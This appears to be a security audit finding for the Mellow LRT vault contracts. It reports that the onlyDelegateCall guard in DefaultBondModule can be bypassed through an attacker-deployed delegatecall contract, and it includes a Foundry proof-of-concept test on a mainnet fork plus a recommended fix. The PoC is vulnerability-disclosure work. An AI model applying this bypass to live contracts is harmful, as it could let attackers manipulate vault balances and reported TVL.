Genuine Cloud Sardine

High

# The checks of `delegateCall` can be bypassed

## Summary
The checks of `delegateCall` can be bypassed
## Vulnerability Detail
`delegateCall` in `Vault.sol` is used to execute a delegate call to a specified address with given data and perform some security checks about from/to address and data. `onlyDelegateCall` modifier ensures that certain functions are only callable through delegate calls to prevent direct interaction that might bypass security checks.
However, such desigh can be bypassed. Here's how to do it:
1. Attacker deploys a contract. The function in this contract can call functions with `onlyDelegateCall` modifier in protocol by `delegateCall`.
2. Attacker calls this function.
3. Functions with `onlyDelegateCall` modifier in protocol are directly called.

The following POC confirms this.
## POC
Paste it into the test/mainnet folder.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DefaultBondModule} from "../../src/modules/symbiotic/DefaultBondModule.sol";
import {Test} from "forge-std/Test.sol";

contract Delegate {
    function delegateDeposit(address to, address bond, uint256 amount) external {
        bytes memory callData = abi.encodeWithSignature("deposit(address,uint256)", bond, amount);
        (bool success,) = to.delegatecall(callData);
        if (!success) revert("Delegate call failed");
    }
}

contract TestDaultModuleModifier is Test {
    error Forbidden();

    DefaultBondModule bondModule;
    Delegate delegate;

    address DCwstETH = 0xC329400492c6ff2438472D4651Ad17389fCb843a;
    address wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
    address whale = 0x5313b39bf226ced2332C81eB97BB28c6fD50d1a3;
    uint256 amount = 1 ether;

    function setUp() public {
        string memory rpc = vm.envString("MAINNET_RPC");
        uint256 fork = vm.createFork(rpc, 20068147);
        vm.selectFork(fork);
        bondModule = new DefaultBondModule();
        delegate = new Delegate();
        vm.label(address(bondModule), "bondModule");
        vm.label(address(delegate), "delegate");
        vm.label(whale, "whale");
    }

    function test_bondModule_delegatecall() public {
        // call directly
        vm.expectRevert(Forbidden.selector);
        bondModule.deposit(DCwstETH, 1 ether);
        // call by delegate contract
        vm.prank(whale);
        IERC20(wstETH).transfer(address(delegate), amount);
        delegate.delegateDeposit(address(bondModule), DCwstETH, amount);
        assertEq(IERC20(DCwstETH).balanceOf(address(delegate)), amount);
    }
}
```
## Impact
1. The security checks in `delegateCall` are bypassed.
2. The TVL can be easily manipulated. For example, calling `withdraw` function directly in `DefaultBondModule.sol` will decrease the `amount` and `underlyingAmount` in `DefaultBondTvlModule.Data`.
```solidity
            data[i].amount = IERC20(bonds[i]).balanceOf(vault);
            data[i].underlyingAmount = data[i].amount;
```
## Code Snippet
https://github.com/sherlock-audit/2024-06-mellow/blob/main/mellow-lrt/src/Vault.sol#L267-L282
https://github.com/sherlock-audit/2024-06-mellow/blob/main/mellow-lrt/src/modules/symbiotic/DefaultBondModule.sol#L11-L14
https://github.com/sherlock-audit/2024-06-mellow/blob/main/mellow-lrt/src/modules/symbiotic/DefaultBondModule.sol#L27-L30
https://github.com/sherlock-audit/2024-06-mellow/blob/main/mellow-lrt/src/modules/obol/StakingModule.sol#L43
https://github.com/sherlock-audit/2024-06-mellow/blob/main/mellow-lrt/src/modules/obol/StakingModule.sol#L48-L56
https://github.com/sherlock-audit/2024-06-mellow/blob/main/mellow-lrt/src/modules/erc20/ERC20SwapModule.sol#L11-L15
## Tool used
manual and foundry
## Recommendation
Add access controls like this:
```solidity
           if (msg.sender != address(vault)) _requireAtLeastOperator();
```